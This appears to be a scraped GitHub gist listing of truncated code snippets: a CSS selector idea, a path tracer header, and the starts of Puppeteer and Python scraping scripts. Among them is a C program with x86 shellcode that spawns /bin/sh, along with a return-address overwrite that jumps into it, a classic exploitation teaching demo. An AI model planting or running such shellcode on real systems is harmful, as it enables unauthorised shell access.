This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Selects all <ancestor>s which have <descendant> as a descendant somewhere | |
in its DOM hieraracy. | |
*/ | |
ancestor << descendant { | |
/* Styles */ | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
char shellCode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; | |
void execShell() { int *ret; | |
ret = (int *)&ret + 2; | |
(*ret) = (int)shellCode; | |
} | |
void main() { | |
execShell(); | |
return(0); } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* basé sur on smallpt, a Path Tracer by Kevin Beason, 2008 | |
* http://www.kevinbeason.com/smallpt/ | |
* | |
* Converti en C et modifié par Charles Bouillaguet, 2019 | |
* | |
* Pour des détails sur le processus de rendu, lire : | |
* https://docs.google.com/open?id=0B8g97JkuSSBwUENiWTJXeGtTOHFmSm51UC01YWtCZw | |
*/ | |
#define _XOPEN_SOURCE |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// We'll use Puppeteer is our browser automation framework. | |
const puppeteer = require('puppeteer-core'); | |
const chromeLauncher = require('chrome-launcher'); | |
const req = require('./req') | |
const request = require('request-promise-native') | |
const profile = require('./profiles')[0] | |
const util = require('util') | |
const devices = require('puppeteer/DeviceDescriptors'); | |
const iPhone = devices['iPhone X landscape']; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys, re, csv, requests, time, random | |
from bs4 import BeautifulSoup | |
if sys.version_info[0] == 3: | |
from urllib.request import * | |
else: | |
# Not Python 3 - today, it is most likely to be Python 2 | |
# But note that this might need an update when Python 4 | |
# might be around one day | |
from urllib import urlopen |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys, re, csv, requests | |
from bs4 import BeautifulSoup | |
if sys.version_info[0] == 3: | |
from urllib.request import urlopen | |
else: | |
# Not Python 3 - today, it is most likely to be Python 2 | |
# But note that this might need an update when Python 4 | |
# might be around one day | |
from urllib import urlopen |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys, re | |
from bs4 import BeautifulSoup | |
def fnum(s): | |
for i in range(len(s)): | |
if (s[i].isdigit()): | |
return i | |